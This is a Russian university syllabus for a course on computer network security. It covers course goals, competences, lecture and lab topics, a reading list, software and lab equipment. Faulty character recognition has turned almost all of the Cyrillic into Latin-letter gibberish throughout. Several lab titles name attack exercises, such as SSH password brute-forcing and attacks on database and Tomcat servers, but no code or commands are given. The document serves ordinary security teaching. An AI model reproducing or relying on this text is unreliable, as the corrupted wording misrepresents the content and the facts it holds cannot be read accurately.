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1 EJIA Y 3AJAYM M COUATIIVHBI

1.1 Heau AUCHHUITUHBI

(bOpMHpOBaHI/IC Y CTYACHTOB OCHOBHBLIX HpeI[CTaBJ'ICHI/Iﬁ 0 HOpUHIHUIIAX U KOHIIGHIII/Iﬁ 0e301macHOCTH
KOMIBIOTCPHBIX ceTeﬁ, BKJIIO4ast TUIIBI YTPO3 U ySISBHMOCTCﬁ, C KOTOPBIMHU CTAJIKUBAKOTCS CCTH,

(hopMupoBaHHE y CTYJCHTOB PO(ECCHOHANBHBIX 3HAHUH, HABBIKOB M YMEHHH HEOOXOIMMBIX IS 3aIUTHI
2 KOMIIBPIOTEPHBIX CeTell ¥ TIepeJaBacMbIX 110 HHUM JaHHBIX OT HECAHKIIMOHHPOBAHHOTO IOCTYTIA,
WCTIOJIb30BaHUsI, PACKPBITHS, HAPYIICHUS, MOIU(DUKAIINN HIH YHHITOKCHUS,

U3YYCHHE PA3IMYHBIX MEXaHM3MOB M METOIOB 3aIllUTHI, HCIIOJIB3YEMbIX Ul 00ecIeueHus] O0e30MacHOCTH
3 KOMITBPIOTEPHBIX CETeH, TaKWX Kak IMH(pOBaHHE, ayTeHTH(PHUKANNsA, KOHTPOIb AOCTyIa, OpaHaMay3phl H
CHCTEMbI O0HAPYKEHHSI BTOPKSHHUH;

Ppa3BUTHUC CITOCOOHOCTHU BEISBIIATH U AHAJIU3UPOBATH PUCKHU 0Ee30IMacCHOCTH U YA3BUMOCTH KOMIIBIOTECPHBIX

4 o
ceTel, a Takxke pa3pabaThIBaTh U BHEAPATH Y3PPEKTHBHBIE MEPHI 0€30IIACHOCTH AJISI CHIDKEHUS ATHX PHUCKOB,;
5 NOJyYeHHE TOHUMaHHUs FOPUIUMYECKMX U OTHYECKHX BONPOCOB, CBS3aHHBIX C 0OE30MaCHOCTHIO
KOMITBIOTEPHBIX CeTeH, BKJII0Yast COOJII0ICHHE HOPMAaTUBHBIX aKTOB;
6 Pa3BUTHE KPUTHUYECKOTO MBIIIICHHS ¥ HABBIKOB PELICHHS IPOOIIEeM VIS OLICHKH 3 (GEKTHBHOCTH Pa3IMYHBIX

Mep Oe30MacCHOCTH M pa3padOTKH HOBBIX PEIICHHH I BOSHUKAIONINX YIpo3 0e301macHOCTH
1.2 3agaumn AMCHHIIIHHEI

1 BBISIBJICHUC U OLICHKA NOTCHIHMAJIbHBIX PHUCKOB 0e30ImacHOCTH KOMHbIOTepHOﬁ CCTHU U €C aKTHUBOB,

BBIBJICHHEC M OLEHKA IOTCHIMAIBHBIX YA3BHMOCTEH WH(PACTPYKTYypBl, CHCTEM U IPHIOKECHUH

2 N
KOMITBIOTEPHOM CETH;

3 npuoOpeTeHe yMEHHI U HABBIKOB B ITPOBEICHUH aHAIN3a IOTCHI[HAIBHBIX YTPO3 151 KOMITBIOTEPHOM CeTH,
TaKUX KaK BPEJJOHOCHBIC IPOrPAMMBbI, BUPYCHI H XaKePhbl;

4 N3Yy4YCHHUE OTAIllOB p33p36OTKI/I 1 BHCAPCHUA MOJIUTHUK U MPOUEAYP, ONPCACIIAIONMNX MMOAXO0A OpraHru3anun K
o0ecreueHUI0 OE30IaCHOCTH CETH;

5 M3yYEeHUE MEXaHU3MOB KOHTPOJIS IOCTYIIA TT0JIb30BATENCH, YCTPOWCTB U MPUIIOKEHUH K CETEBBIM pecypcam
U nHpOpMaIuy;
NpUOOpEeTEeHHE MPAKTUYECKUX HABBIKOB KOH(HUIYPUPOBAHHUS CETEBOTO OOOPYMOBaHHsS it 00CCIECUCHUS

6 0€30MacCHOCTH BBIYHCIUTEIBHBIX CETeH, B TOM 4YHCIE OOecleueHHe peXuma ayTeHTH(OUKANUU |
ABTOPU3AIIMH TI0JIb30BATENCH U YCTPOUCTB, KOTOPBIE TBITAIOTCS MOJIYYUTh JOCTYI K CETEBBIM pecypcam,
MPEIOCTaBICHUE COOTBETCTBYIOIIMX YPOBHEH JOCTYIA HA OCHOBE UX POJICH U pa3pelieHuir;

7 U3y4YEeHUE METOMOB obecreueHust Oe30IaCHOCTU CETEBOrO B3aMMOJCHCTBHS MyTeM MIN(GPOBAHUS JAHHBIX

IpH UX Mnepeaaldc no CeTu;

nproOpeTeHne NMPaKTHYECKUX HAaBBIKOB B OOHApPYKEHHM M MPEAOTBPAILEHHN BTOPKEHUH, BKIIOUAIOIINX
8 MOHHUTOPHHI CETEBOTO TpaduKa U aKTHBHOCTH CHCTEMBI Ha IPEIMET IMPU3HAKOB HECAaHKIIMOHUPOBAHHOTO
JIOCTyIa U IPUHSTUE IPEBEHTUBHBIX MEp AJIs IPEAOTBPALICHHUS] aTakK;

U3y4eHHe CI0COOOB pearupoBaHMs Ha UWHIMIACHTH MyTEM pa3pabOTKH M BHEJIPEHUS MPOLEAYD
pearupoBaHus Ha WHIMJICHTHI 0€30MacCHOCTH, TAKHE KaK yTeUKa JaHHBIX U CETEBBIC aTaKH;

HU3Yy4YCHHUEC DOTAllOB IMPOBEACHUA ayauTa 0e30I1acHOCTH  Ha npeamMeT nyBPIMOCTeﬁ 0Ee30IMacCHOCTH U
COOTBETCTBUS OTPACJICBBIM CTAHAAPTAM U HOpMaM
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1.3 Ilesb BOCIUTAHMS U 32124 BOCIIMTATEJbHOH pad0Thl B pAMKAX AUCHHILVINHBI

[MpotheccroHaTbHO-TPYI0BOE BOCIUTAHUE O0YYAOIIUXCSI

Lens npodeccroHabHO-TPYAOBOTO BOCHIUTaHUS — (POPMHUPOBAHUE Y 00yHarOIIMXCsl OCO3HAHHON MpodeccHOHAIBHON
OpHEHTALlNH, TOHMMaHMS OOIIECTBEHHOTO CMBICIA TPYAAa W 3HAYMMOCTH €ro Ui ce0sl JMYHO, OTBETCTBEHHOTO,
CO3HATEJIBHOIO M TBOPYECKOTO OTHOLICHUS K OyIyIied NesTelbHOCTH, NMPO(QEecCHOHATBHON 3THKH, CIIOCOOHOCTH
NPEABUACTh W3MEHEHHS, KOTOPbIe MOI'YT BO3HHUKHYTH B NMPO(ECCHOHAIBHOW NESATENbHOCTH, U YMEHHIO paboTaTh B
HM3MEHEHHBIX, BHOBB CO3JAHHBIX YCJIOBHSX TPYZa.

Lenp gocTUraeTcs M0 Mepe pelieHus B ANHCTBE CIEAYIOIUX 3a/1a4:

— (opmupoBaHHE CO3HATENHLHOTO OTHOIICHHS K BRIOpaHHOI ITpodeccuu;

— BOCIIMTaHUE YECTH, TOPJOCTHU, JTIOOBU K MpodecchH, CO3HATENHPHOTO OTHOUICHHSA K NMPO(ECCHOHANBHOMY JOJTY,
MIOHMMAEMOMY KaK JIMYHAs! OTBETCTBEHHOCTh M O0SI3aHHOCTD;

— (popmupoBaHKE NICHXOJIOTHH NpodeccroHana;

— (opmupoBanue podhecCUOHATBHON KYJIBTYpPBI, STUKH MPOYECCHOHATIBHOTO OOIICHUS;

— (opMHUpOBaHKE COLMATIBHON KOMIIETEHTHOCTH M JIPYTHe 33/1a4H, CBSI3aHHbBIE C HUMH/KEM NPO(GECCUH U aBTOPUTETOM
TPaHCHOPTHOM oTpaciu

2 MECTO JUCIMIIJIMHBI B CTPYKTYPE OIIOII

Biiok/gacts OITOIT | Brok 1. [iucumrmusi / O6s3aTesbHas 4acTh

2.1 lIl/lClllrll'[J'll/lHLl N MPAKTUKH, HA KOTOPbIX OCHOBBLIBAECTCHA U3YyUCHUE JTAHHOM JUCIHUIIIMHbI

b1.0.36 Cetu 1 cucTeMbl niepeiauu HHPOPMALHU

b1.0.37 3ammra nHbOpMAaIIMK OT YTEUKU MO0 TEXHUYECKUM KaHaJIaM

b1.0.47 adopmarioHHbIe TEXHOJIOTHH

AIWN -

b1.0.51 Kubepbe3onacHocTh

2.2 lIﬂClll/ll'lJ'll/ll-[l)l U NMPAKTHKHU, Il KOTOPbIX U3YyUYCHUE JTAHHON M CHMIIJIHHBI
HeOﬁXOl]ﬂMO KaK npeamecTrByruiee




b51.0.39 IIporpamMHoO-anmapaTHble CpeJCTBa 3alUTHl HHPOPMALUN

b1.0.45 BuptyanbHble YacTHBIE CETU

b51.0.62 MogaenupoBaHre TPOIECCOB U CUCTEM 3aIIUTHI HHOOpMamu

b3.01(J) IMoaroroBka K mpoueaype 3aiyThl BBITYCKHOM KBaIH(UKAINOHHON paboThl

A WN -

b3.02(J1) 3anuTa BEIMYCKHON KBaTU(UKAIIMOHHON pabOThI

3 IINTAHUPYEMBIE PE3YJbTATBIOBYYEHUSA 11O JUCIUIIJIMHE,
COOTHECEHHBIE C TPEBOBAHUSMMU K PE3YJIBTATAM OCBOEHUA
OBPA3OBATEJIbHOM ITPOT'PAMMBI

Koa n
HAaMMEHOBaHHUe
KOMIIETeHIUH

Koa u HaumMeHoBaHuUe
HHIHKATOPA A0CTH:KEHHA
KOMIETEeHIHHN

IInanupyemMsble pe3yJbTaThl 00yUeHHs

OIIK-9 Crnocoben
pemraTh 3a1aum
npo(heCcCHOHATBHOM
JIESITEIIBHOCTH C
YYETOM TEKYIIETO
COCTOSIHUS U

OIIK-9.1 IIpoBoaut ananu3
npodeccrnoHanbHOM
JEATEIILHOCTH JUIS PEIICHHS
3a]a4 3alKThl HHPOPMAaIHH,
CeTeH U CUCTEM Nlepefadu

3Hatb: [TonmTHKy, IpoLieLypsl ¥ CTAaHAAPTH HH(OPMAITMOHHON
0€30MacHOCTH; TIepEeIOBBIC METOIbI 00ECTICUCHHS
0e30MacHOCTH CeTel, CepBepOB, MPHIIOKEHUH U XPAaHUITAIII
JAHHBIX; 00IIHe YTPO3bI 0€30ITaCHOCTH U BEKTOPHI aTak, a
TaK’Ke CIOCOOBI X MPETOTBPALIECHHS WIIH CMSTICHIS;
HOPMAaTHBHBIE TPEOOBaHMS, METONOJIOTHU X HHCTPYMEHTHI
OLICHKH PUCKOB

YMeTh: MPOBOIUTH OIIEHKU M ayIUTH 0€30IIaCHOCTH IS
BEISBIICHUS YSI3BUMOCTEH U pUCKOB; pa3padaTbiBaTh U
BHEAPSATH CPEICTBA KOHTPOJIS 0€30IIaCHOCTH H KOHTPMEPHL;
OTCJICKHMBATH ¥ aHAIM3UPOBATH KYPHAJIBI 1 COOBITHS
0e30MacHOCTH JyIsl OOHAPYKESHUS U pearupoBaHus Ha
WHIUICHTHI 0€30MaCHOCTH; pa3padaThiBaTh U BHEAPSATH

TEHACHIUN
JTAaHHBIX 0e30MacHbIC CETEBBIC APXUTEKTYPhI U KOH(DUTYpaLInY;
A3BUTHS
p NPOBOJUTH 00y4eHHE 1 NH(GOPMHUPOBAHHE KOHEYHBIX
nH(pOpMaMOHHBIX Z
. MOJIH30BATEJICH ¥ 3aMHTEPECOBAHHBIX CTOPOH IO BOIIPOCAM
TEXHOJIOTHA,
0e30macHOCTH
cpeacTB
N BrasieTh: aHATUTHYCCKUMH HABBIKAMU U HaBBIKAMH PEIICHUS
TEXHAYECKOI
SALLITEL npo0JIeM; KOMMYHHKATUBHBIMUA U MEXJIMYHOCTHBIMHU
I/IHIE)O AL HABBIKAMH; HHCTPYMEHTAMH U TEXHOJIOTUSAMH 0C30MacHOCTH,
OPMatii, TaKMMH KaK OpaHaAMay3phl, CHCTEMbI OOHAPYKEHUS 1
ceTel u cucTeM N .
Hepeat NpPEJOTBPAIICHUS BTOPKCHHUN, CKAHEPAMH YSI3BUMOCTEH H T.JI
I/IHI;)l)O N 3HAaTh: TEKYIIIEE COCTOSHUE U TCHICHIIUU PA3BUTHI CETCH U
P CHCTEM Iepegadr HHpopMaImu
OIIK-9.3 3naer Tekyuiee YMeTh: IPUMEHATH PA3IMYHbIE METO/Ibl aHAIM3a JIJIS1 PELIEHUS
COCTOSIHUE W TeH/ICHIINU 3aJ1a4 3alIUThl HHPOPMAIIUH, CETE U CUCTEM IMepeaavn
pa3BuUTHSI CeTEll U CUCTEM JIAHHBIX
nepeaayn nHpopMauu Brnaners: pa3inuHbIME CIIOCOOaMK U METOIaMu cOopa, TIOMCKa
COBPEMEHHON MH(POPMAIMH 110 CETSIM M CHCTEMaM Iepeiadun
“HpOpMAIIN
4 CTPYKTYPA U COAEP KAHUE NNCIHHUIIJINHBbI
Ounas ¢opma *Koa
Yacsl HMHAMKATOpa
KO)] HaumeHoBanue pa3aejioB, TeM U BU/I0B p260T Cemect JOCTHIKEHHST
Pl Jlex | Tp | JIa6 | CP
KOMIIETEHIIUH
1.0 | Paspen 1. Mocrpoenne npocroii ceru. IBC Ethernet.
2.0 | Paznen 2. Be3omacHocTh 0eCHIPOBOIHBIX ceTeil mepexavyu
JAHHBIX.
2.1 | Tema 5. Drambl BHeapeHus OecrnpoBoHOM ceTh. [IpoToKoIb! 7 4 4 4 OIIK-9.1
6e3onacHoctu cereii WLAN OIIK-9.3
2.2 | Jlaboparopuast pabora Ne 6. IloctpoeHne OECHPOBOIHBIX 7 4 OIIK-9.1
HH(OPMAIMOHHBIX CHCTEM OIIK-9.3
3.0 | Pasznen 3. Coeqnnenne JIOKAJIbLHBIX CeTeii.
3.1 . OIIK-9.1
Tema 6. CpeznctBa peanu3aluu MEXCETEBOTO B3aUMOAEUCTBUS 7 3 3 4 OIK-9.3
3.2 | JlabopatopHas padota Ne 7. HacTpoiika HCXOIHBIX TapaMeTPOB 7 3 OIIK-9.1
0€30MacHOCTH MapHIpyTU3aTOpa OIIK-9.3
33 | Tema 7. OOecrneueHne  0€30MaCHOCTH  MEXKCETEBOIO OIIK-9.1
. 7 3 3 4
B3aUMO/IEHCTBUS OIIK-9.3
3.4 | Jlaboparopuas pabora Ne 8. Packet Tracer: moakitoucHHE 7 3 OIIK-9.1
MapHUIPyTH3aTOPa K JIOKAIBHOU CEeTH OIIK-9.3




4 CTPYKTYPA U COAEPXAHUE JUCHUIIVIMHBI

Ounas ¢opma *Kon

Kon HaumeHoBaHuUe pa3/1esioB, TEM H BHI0B padoT Cemectp Hacet z:il:l“l;i‘:;:z:

Jex Hp JIab CP KOMIICTCHIIUH

4.0 | Pasnen 4. Opranuszanus u HacTpoiika VLAN.

4.1 | Tema 8. Hasnauenme BupryanpHbIXx cereil. Co3maHue 7 4 4 4 OIIK-9.1
BHPTYaJIBHBIX CeTeH Ha 0a3e OAHOTO KOMMYTaTopa OIIK-9.3

4.2 | JlaboparopHasi padota Ne 9. Opranuzanus u Hactpoiika VLAN:

— co3nmanne u HacTporika VLAN Ha KoMMyTaTtopax; — TOCTYII K 7 6 OIIK-9.1
obopymosanuto Cisco mo mporokoixy SSH; — aTaka mMeTomom OIIK-9.3
niepebopa mapois Ha ciry:x0y SSH

4.3 | Tema 9. Coznanne BUPTyanbHBIX ceTell Ha 0aze HECKOJIbKHX 7 2 5 4 OIIK-9.1
KOMMYTaTOpPOB OIIK-9.3

5.0 | Pa3nmen 5. CpencrBa aHaJM3a 3alMIEHHOCTH
BBIYHCIUTEIbHBIX CeTeid.

51 | Tema 10. OOG30p cpeacTB aHaIW3a 3alIUIICHHOCTH OTIK-9.1
BEIYHCIIUTENBFHBIX CceTeld. METOONKN TpPHMEHCHHS CpEACTB 7 2 2 4 OHK-9.3
aHaJIM3a 3aIUIIeHHOCTH CeTel

5.2 | Jlabopatoprass pabora Ne 10. CpenctBa  aHamm3a
3aIIUICHHOCTH BEIYUCITUTEIHHBIX CeTeH Ha MPUMeEpe H3yICHUS OIIK-9.1
BO3MOKHOCTEH CKaHepa 3allUIIeHHOCTH Nessus, — araka Ha 7 4 OHK-9.3
cepBep 0a3 TaHHBIX; — aTaka Ha cepBep MPIIOKEHUs tomcat 1Mo '
ynpasieanem OC Windows

5.3 | Tema 11. IIpaBoBele OCHOBHI 3alIUTHl HMH(pOPMAIMH B 7 3 3 OIIK-9.1
KOMIBIOTEPHBIX CeTAX. 3alIUIIEeHHBIN TOKYMEHTOO00POT OI1K-9.3

6.0 | Pasaen 6. Ayaur 6esonacHoctu cereii IBM.

6.1 | Tema 12. Buael aymuta Oe3omacHocTH ceteit DOBM. OIK-9.1
Oprau3anvoHHO-PacTIOPAIUTEIbHbIC JIOKYMEHTBI 1o 7 4 4 3 OHK-9. 3
obecnieueHnto Oe3omacHocTH ceteid OBM '

6.2 | Jlabopatopnas pabora Nell: Pa3paboTka MmiaHa NpPOBEACHHS 7 4 OIlK-9.1
aynuta cetu OBM OIIK-9.3

. OIIK-9.1
dopma mpOMEKYTOUHOH aTTeCTAI[IH — SK3aMEH 7 36 OIK-9.3
Kypcogas pabora 7 36 8g§:gé
Hroro vacoB (6e3 yu€Ta 4acoB Ha MPOMEKYTOUHYIO 3 | 34 34| 78
aTTeCTaINIO)

5 ®OH/] OLIEHOYHBIX CPEJICTB JJIsl IPOBEJEHUS

TEKYIIEI'O KOHTPOJISI YCIIEBAEMOCTHA U ITPOMEXKYTOYHOM

ATTECTAIIMU OBYYAIOIIIUXCA ITO JUCIUITJIMHE

q)OH)I OLICHOYHBIX CPEACTB JJId MPOBCACHUA TCKYIIET0 KOHTPOJIA YCIICBAEMOCTHU U HpOM@)KyTO‘IHOfI aTTeCTaluu
o aucuuIuinHe oopmiieH B Buae npuinoxxenus Ne 1 k paboueii mporpaMMe TUCHUILIMHBI U pa3MeIIeH B JJIEKTPOHHOM
HH(POPMAIIHOHHO-00Pa30BaTEIILHON Cpejie Y HUBEPCUTETA, JOCTYITHON 00yJaroneMycCsl Yepe3 ero JUUHbIA KaOuHEeT

6 YHEBHO-METOANYECKOE U TH®OPMAIIMOHHOE OBECIIEYEHUE

JTUCHMUILIAHBI

6.1 YueOHas auTeparypa

6.1.1 OcHoBHas JIUTEpaTypa

Komn-Bo 3Kk3.
Bubnuorpagpuueckoe onncanue B OubnmoTeke/
OHJIAMH
Bopo6ses, C. I1. KoMmnbroTepHble ceTH 1 ceTeBasi 0e30IacHOCTb : yueOHoe mocodue
/ C. TI. BopoOses, C. H. Illupo6okosa, P. K. JIntesik. HoBouepkacck : IOPI'TIY .
6.1.1.1 N . Ounnaiin
(HITN), 2022. - 216c. - Tekct: anekrponHsiid. - URL:
https://e.lanbook.com/book/292247 (nara obpauienus: 19.04.2023)
Kupenbepr, A. I'. CuctemMHO€ aAMUHUCTPUPOBAHUE W HHPOPMALTMOHHAS
6.11.2 6e3omacHocTh ceteld OBM : yuebHoe nmocodue / A. I'. Kupenbepr. Kemeposo : Omaiin
e KysI'TY umenu T.®. 'opbauesa, 2022. - 120c. - Tekcr: anexrponHsIit. - URL:

https://e.lanbook.com/book/257564 (nata obpauienus: 19.04.2023)

6.113 Kosiyp, M. M. be3omacHocTh GeCTIpOBOIHBIX JIOKATBHBIX CETEH : ya4eOHO- Omnnaiis

METOAMYECKOe ITO0CO0HEe MO BRIMOJIHEHHIO KypcoBoit paboTsl / M. M. Kosnyp, /1. B.




IOpkum, E. 10. T'epnunr. Cankr-IlerepOypr : CIIOIYT um. M.A. Bonu-bpyesnua,
2021. - 40c. - Tekct: anekrponnsit. - URL: https://e.lanbook.com/book/279476
(mara obpamenus: 19.04.2023)
6.1.2 JlonoJHUTEIbHASA JUTEPATYPA
Komn-Bo 9k3.
Bubmmorpaduueckoe onrcanue B OmbnmoTteke/
OHJIAlH
Heiiman, B. 1. CuctemsbI 1 ceTH repeaadn TaHHBIX Ha JKEJIe3HOIOPOKHOM
6.1.2.1 TpaHcnopre : yueOnuk / B. W. Heitman ; pen. : E. B. Ayoun. M. : Mapmpyr, 2005. - 21
468c.
Omudep, B. I'. OcHOBEI ceTeil nepenauu JaHHBIX : Kype JISKIHH : y4e0. mocodue
6.1.2.2 JUTS BY30B - 2-¢ 3., uctp. / B. I'. Omadep, H. A. Omudep. M. : UHTYUT.PY, 12
2005. - 172c¢.
6.1.3 YueOHO-MeTOAUYeCKHE PA3PA0OTKHU (B T. Y. 1JIsl CAMOCTOSITEIbLHOH PadoThl 00y4aIOLIUXCS)
Komn-Bo 3k3.
Bubnuorpaduueckoe onncanue B Oubinorexe/
OHJIAlH
Hacenkun I1.H. Metoamueckue ykazauus mo n3ydenuto nucrumimasl 51.0.31
Beszonacuocts cereit OBM o cnenmansrocTH 10.05.03 MHbDOpMAaImoHHas
6.13.1 0€301acHOCTh aBTOMAaTU3UPOBAHHBIX CUCTEM, creruanu3anus «be3omacHocTs Omnaiis
o OTKPHITHIX HH(popMarmoHHEIX cuctem» / [1.H. Hacenkun ; UpI' YIIC. — UpkyTck :
HpI'YIIC, 2022. — 17 c. - Tekct: anekrponHsIit. - URL:
https://www.irgups.ru/eis/for_site/umkd_files/mu_1330_1529 2022_1_signed.pdf
6.2 Pecypcbl HHGOPMALMOHHO-TeJIeKOMMYHUKALLMOHHOM ceTu «AHTepHeT»
6.2.1 OnekTpoHHO-OubaHoTeuHas cucrema «M3narenscrBo Jlanby, https://e.lanbook.com/
6.2.2 DnekTpoHHO-O0ubIMoTeHas cucteMa «O6pasosaTensHas mathopma FOPAWTY, https://urait.ru/
6.2.3 DekTpoHHO-O0MbIHOTE Y HAs cucTeMa «Y HUBEpPCUTETCKass OubaroTeka oHnainy, https://biblioclub.ru/
6.2.4 Hayunas snektponnas 6ubnunoreka eLIBRARY.RU — https://elibrary.ru/
6.3 IIporpamMmMHoOe o0ecnieyeHne H HH(POPMALMOHHBIE CIIPABOYHbIE CHCTEMBI
6.3.1 bazoBoe nporpamMmMHoe o0ecrieyeHue
6311 Microsoft Windows Professional 10, rocymapctBenHbiii KoHTpakT oT 20.07.2021  Ne
T 0334100010021000013-01
6312 g/iicrosoft Office Russian 2010, rocymapctBeHHBIH KOHTpakT oT 20.07.2021 Ne 0334100010021000013 -
6313 F_oxitReade_r, cBO0O/IHO pacmpocTpaHsieMoe nporpaMmmuoe obecnedenue http:/free-software.com.ua/pdf-
o viewer/foxit-reader/
Adobe Acrobat Reader DC cB0oOOZHO pacmpocTpaHsieMOe NpPOrpaMMHOE  OOecreucHue
6.3.14 . :
https://get.adobe.com/ru/reader/enterprise/
Slunekc. Bpaysep. IlpuknagHoe mnporpamMmHoe obOecniedyeHne ooOmiero HasHaueHus, OducHble
6.3.1.5 MIPWIOKEHUS, JINLIEH3US — CBOOOHO paclpoCTpaHsIeMoe MporpaMmmMHoe obecrieuenre o Jumnen3nu BSD
License
6.3.2 Cnenuaiu3upoBaHHOE IPOrPaMMHOe o0ecneyeHHue
6321 MathCAD _student 15.0 Academic License, Customer Number 434692, xourpakr ot 03.12.2012 Ne
T 0334100010012000148-0000756-01
6.3.2.2 Python 3.9, c_Bo6oz[Ho pacmnpocTpaHseMoe MPOrpaMMHOE obecreyeHne
T https://docs.python.org/3/license.html
6323 Dev-C , CBo6oaHaﬂ_ MHTETpUpOBaHHasI cpesia pa3pa6on<1/1 r_[pnnoxceHHﬁ JUTSL SI3BIKOB TIPOTPaMMHUPOBAHHMS
o C/C , https://code-live.ru/post/dev-cpp-free-cpp-ide-for-windows/
6.3.2.4 MatLab Classroom, R2015a, R2015b, konTpakt ot 09.07.2014 Ne 0334100010014000028-0000756-01.
6325 MatLab Classroom, R2010a, R2010b, mmumensus or 16.03.2011 Ne 689810, T'K Ne
T 0334100010011000032-00000756-01.
6328 Dev-C++, cBoOoaHas MHTETPUPOBAHHAA  Cpejia pa3paboTku _ HpI/IJ'IOXC.eHI/Iﬁ JUIL  SI3BIKOB
e nporpammupoBanus C/C++, https://code-live.ru/post/dev-cpp-free-cpp-ide-for-windows/
MatLab Classroom, R2010a, R2010b, numuensus ot 16.03.2011 No 689810, T'K Ne
6.3.2.10 0334100010011000032-00000756-01. Packet Tracer YY. IIPOLl. VYumBepcambHas OOIICCTBCHHAS
muensus GNU, http://www.packettracernetwork.com/
6.3.211 PuTTY cB0OOAHO pacmpoCTpaHsSeMbIi KIUEHT JJIS PA3IMIHBIX MPOTOKOJIOB yaanéHHOro goctyna YU.
T [TPOLI. http://www.putty.org/
6.3.3 NHdopmainuoHHbIE CIPABOYHbIE CHCTEMbI
6.3.3.1 O6pazoBarensHblid nopran Upl'YIIC: http://sdo.irgups.ru
6.3.3.2 IIpodeccronanpHbie cripaBounble cucteMbl «Komexey: https://kodeks.ru/
6.3.3.3 Harmmonansnsrit OTkpseiTeiil Y HUBepcuteT «MHTYWUT»: https://intuit.ru/
6.3.3.4 Stepik — obpasoBarenbHas miarpopma: https://stepik.org/catalog

6.4 IIpaBoBbIe M HOPMATHBHBIE JOKYMEHThI




6.4.1

Koncynprantllmoc: https://www.consultant.ru/

6.4.2

3aKOHOIaTENbCTBO ¢ KOMMeHTapusimMu: https://www.garant.ru/

6.4.3

DNeKTpOHHBIN yTeBoAuTeNb LleHTpa nmpaBoBoi nHGOpMaruu Poccuiickoi HarmoHaIbHON ONOIHOTEKH:
https://nir.ru/lawcenter/ires/

7 OUCAHUE MATEPUAJIbHO-TEXHUYECKOI1 BA3BI,
HEOBXOJIAMOI /151 OCYIIECTBJIEHHUS YYEBHOT'O ITPOIECCA
MO JUCHMUILINHE

Kopmryca A, B, B, I', I, E UpI'YIIC maxoznstcs no aapecy r. pkyTck, yi. UepHsImeBckoro, 1. 15;
kopiryc JI UpI'YTIC Haxomutcs — mo agpecy T. UpkyTck, yi. JlepmonTosa, 1.80

VYuebnast aynuropus J{-417 st mpoBeneHus ISKIIMOHHBIX U ITPAKTHYECKHUX 3aHATHH, 1a00OpaTOPHBIX padoT,
IPYIIOBBIX U HHIUBUIYAIBHBIX KOHCYJIbTAlNH, KyPCOBOTO MPOEKTUPOBAHUS (BBITIOIHEHHUS KYPCOBBIX
paboT), TeKyLIero KOHTPOJIS U MPOMEXYTOUHOH arrecTanun. OCHOBHOE 000pyI0OBaHHUE:
CIeTIHATH3UPOBAaHHAS Me0eIb, MyITbTHMEIHAIIPOSKTOP, FKpaH, (HOYTOYK MEepEeHOCHOMH)

VYuebnast aynuropus J[-518 st nmpoBeneHus IEKIIMOHHBIX U IPAKTHYECKHUX 3aHATHH, 1a00paTOPHBIX padoT,
IPYIIOBBIX U HHAMBUIYAIbHBIX KOHCYJIbTAlUH, KyPCOBOTO MPOEKTUPOBAHUS (BHIIOIHEHHUS KYPCOBBIX
paboT), TeKyLIero KOHTPOJIS U MPOMEXYTOUHOH arrecTauun. OCHOBHOE 000pyI0OBaHHUE:
crenuaI3upoBaHHas MeOesb, MyJIbTUMEIHAIPOEKTOP, 3KpaH, (HOYTOYK MepeHOCHON)

VYuebnast aynuropus J[-521 muist mpoBeneHus IEKIMOHHBIX U TPAKTHYECKHUX 3aHATHH, 1a00paTOPHBIX padoT,
TPYNIOBBIX U MHIUBUIYaTIbHBIX KOHCYJIBTAIUH, KypCOBOTO MPOSKTUPOBAHUS (BBIIOJIHEHHS KYPCOBBIX
paboT), TeKyIEro KOHTPOJISA U MPOMEKYTOUHOM aTTecTanud. OCHOBHOE 000pyIOBaHUE:
crenuaI3upoBaHHas MeOesb, MyJbTUMEHANPOCKTOP, SKpaH, (HOYTOYK NepeHOCHON)

KomnprotepHsiit kiace A-509 ams npoBeaeHNs MPaKTHYECKUX 3aHATHIH, TaO0paTOPHBIX PadOT, TPYIIIIOBHIX U
WHIIUBHYaJIbHBIX KOHCYJIBTAlUi, KypCOBOTO IPOCKTUPOBAHUS (BBITIOJIHEHUS] KYPCOBBIX padoT), TEKYIIETo
KOHTPOJISI U IPOMEXXYTOUYHOH arrectaiii. OCHOBHOE 000pyIOBaHKE: ClICIHAIN3UPOBaHHas MeOeb,
MYJIBTUMEIHAIPOEKTOP (MEPEHOCHO), SKpaH (IIEPEHOCHOM), KOMIBIOTEPHI C MOIKIIOYEHHUEM K CETH
HutepHet, obecneunBaronye A0CTYI B IEKTPOHHYI0 HHPOPMAITMOHHO-00pa3oBaTensHyto cpeay Upl YIIC,
y4eOHO-HaTJIsIIHBIe TOCO0Ms (ITPE3EHTAIUN).

JlabopaTopus I-508 «H(DOpMAIIMOHHBIE CHCTEMBI U CETEBBIC TEXHOIOTUNY. «CETH U CHCTEMBI IIepeIadun
nHpopManum» IS TPOBEICHHS JIEKIIMOHHBIX U MPAKTUYECKUX 3aHATHH, 1a00pPaTOPHBIX PadOT, TPYIIIOBHIX U
WHIIMBHUYaJIbHBIX KOHCYJIBTAlNH, KypPCOBOTO MPOEKTUPOBAHUS (BBIIIOIIHEHUSI KYPCOBBIX paboT), TEKYILETo
KOHTPOJISI M TIPOMEXXYTOUYHOH arrectaniii. OCHOBHOE 000pyIOBaHKE: ClICIHAIN3UPOBaHHAs MeOeb,
MYJIBTUMEIHAIPOEKTOP (EPEHOCHOH), FKpaH(TIepeHOCHOIT), KOMITBIOTEp KOMMYTAIlMOHHAs CTOWKa — 1 ImT.
Cepsep — 1 wit. cisco 2600 — 2 mir. switch catalyst 2900 — 2 ir. Mmomem ZyXEL — 2 mit. Router cisco 1600
— 1 mr. Hub token ring — 1 mr. Ten. aganrep D-link DVG-7111S — 1 wr. YnpasisieMblii KOMMyTaTOp 2
ypoBas D-link DES-1210-10/ME — 1 wrr. Ynpasnsemsiii kommyTatop 3 ypous D-link DGS-1500-28 -1
wrt. MexcereBoii akpan D-link DFL-260E — 1 mrr. Mapupytusarop D-Link DIR-100 - 1 wir.
BecnipoBonas Touka goctyna D-Link DWL-3200AP — 1 mr. TomocoBoit nwtro3 D-Link DVG-7022S
Gateway+Router ¢ nognepxkoii SIP — 1 mir. [P-kamepa D-Link DCS-2130 — 1mr. Kommyrarop D-link
DES-1100-16 — 2 mr. Kommyrarop D-link DES-3028 — 1 1.

IMomemieHus 1t caMOCTOSTENbHON pabOThl 00YJaIOIIMXCS OCHAIICHBI KOMITBIOTEPHOH TEXHUKOH,
TIOJIKJIIOYEHHOH K MH()OPMAIIMOHHO-TEJICKOMMYHHUKAIIMOHHOH ceTh «/HTepHeT», 1 00ecneueHbl JOCTYIIOM B
ANEKTPOHHYIO HH(POpMaIMOHHO-00pazoBatenbHyto cpeny Mpl YIIC. [TomenieHus A caMOCTOSITENbHO M
